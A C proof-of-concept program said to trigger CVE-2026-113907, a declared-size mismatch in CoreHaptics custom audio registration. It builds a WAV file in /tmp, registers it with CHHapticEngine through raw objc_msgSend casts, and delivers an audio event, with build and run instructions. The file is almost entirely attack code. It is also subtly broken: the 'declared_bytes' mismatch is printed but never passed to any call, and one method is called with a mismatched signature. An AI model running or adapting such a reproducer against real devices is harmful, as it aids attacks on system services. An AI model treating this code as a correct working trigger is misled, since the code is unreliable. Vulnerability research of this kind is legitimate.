// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907 // CoreHaptics custom audio event with a declared-size mismatch // C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics // audio resource and delivers a custom audio event. The declared byte count the server // is asked to trust is what this CVE lives in. // Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC. // Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc // Run: ./cve-2026-113907 [frame-count] #include #include #include #include #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } static void le32(buf *b, uint32_t v) { bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); } // ── seed construction (from Cinder27 Runners.hapticCustomAudio) ── // mono 16-bit WAV with exactly `frames` samples static buf wav_frames(int frames) { const int rate = 48000; buf out = {0}; bcat(&out, "RIFF", 4); le32(&out, 36 + (uint32_t)frames * 2); bcat(&out, "WAVEfmt ", 8); le32(&out, 16); le16(&out, 1); le16(&out, 1); le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2); le16(&out, 2); le16(&out, 16); bcat(&out, "data", 4); le32(&out, (uint32_t)frames * 2); brep(&out, 0, (size_t)frames * 2); return out; } // ── ObjC message casts (arm64: all args in registers) ── static id (*msg_id)(id, SEL); // alloc static id (*msg_id_1id)(id, SEL, id); // initAndReturnError: static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError: static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error: static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error: static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration: static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error: static void (*msg_void)(id, SEL); // stop static id (*msg_err_desc)(id, SEL); // localizedDescription static const char *(*msg_utf8)(id, SEL); // UTF8String static void print_error(const char *stage, id err) { if (err) { id desc = msg_err_desc(err, sel_registerName("localizedDescription")); const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL; printf("%s failed: %s\n", stage, s ? s : "(no description)"); } else { printf("%s failed\n", stage); } } int main(int argc, char **argv) { int frames = argc > 1 ? atoi(argv[1]) : 4096; int declared_bytes = 4; // the mismatch the server is asked to trust msg_id = (id (*)(id, SEL))objc_msgSend; msg_id_1id = (id (*)(id, SEL, id))objc_msgSend; msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend; msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend; msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend; msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend; msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend; msg_void = (void (*)(id, SEL))objc_msgSend; msg_err_desc = (id (*)(id, SEL))objc_msgSend; msg_utf8 = (const char *(*)(id, SEL))objc_msgSend; Class engineClass = objc_getClass("CHHapticEngine"); Class eventClass = objc_getClass("CHHapticEvent"); Class patternClass = objc_getClass("CHHapticPattern"); if (!engineClass || !eventClass || !patternClass) { printf("CoreHaptics classes unavailable\n"); return 1; } id err = nil; id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")), sel_registerName("initAndReturnError:"), (id)&err); if (!engine) { print_error("CHHapticEngine init", err); return 1; } if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) { print_error("engine start", err); return 1; } printf("CHHapticEngine started\n"); buf wav = wav_frames(frames); const char *path = "/tmp/cinder_haptic.wav"; FILE *f = fopen(path, "wb"); if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); } printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes); CFURLRef url = CFURLCreateWithFileSystemPath(NULL, CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false); CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks); CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); err = nil; unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"), (id)url, (id)empty_dict, (id)&err); if (err) { print_error("registerAudioResource", err); msg_void(engine, sel_registerName("stop")); bfree(&wav); return 1; } printf("audio resource registered: id %lu\n", resource); id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")), sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"), resource, (id)empty_array, 0.0, 0.25); id events[1] = { event }; CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks); err = nil; id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")), sel_registerName("initWithEvents:parameters:error:"), (id)event_array, (id)empty_dict, (id)&err); if (!pattern) { print_error("pattern creation", err); msg_void(engine, sel_registerName("stop")); bfree(&wav); return 1; } err = nil; id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"), pattern, nil, (id)&err); if (!player) { print_error("player creation", err); msg_void(engine, sel_registerName("stop")); bfree(&wav); return 1; } err = nil; if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) { print_error("event delivery", err); } else { printf("audioCustom event delivered\n"); } usleep(400000); msg_void(engine, sel_registerName("stop")); printf("engine stopped\n"); CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array); bfree(&wav); printf("CVE-2026-113907 · custom audio haptic registration exercised\n"); return 0; }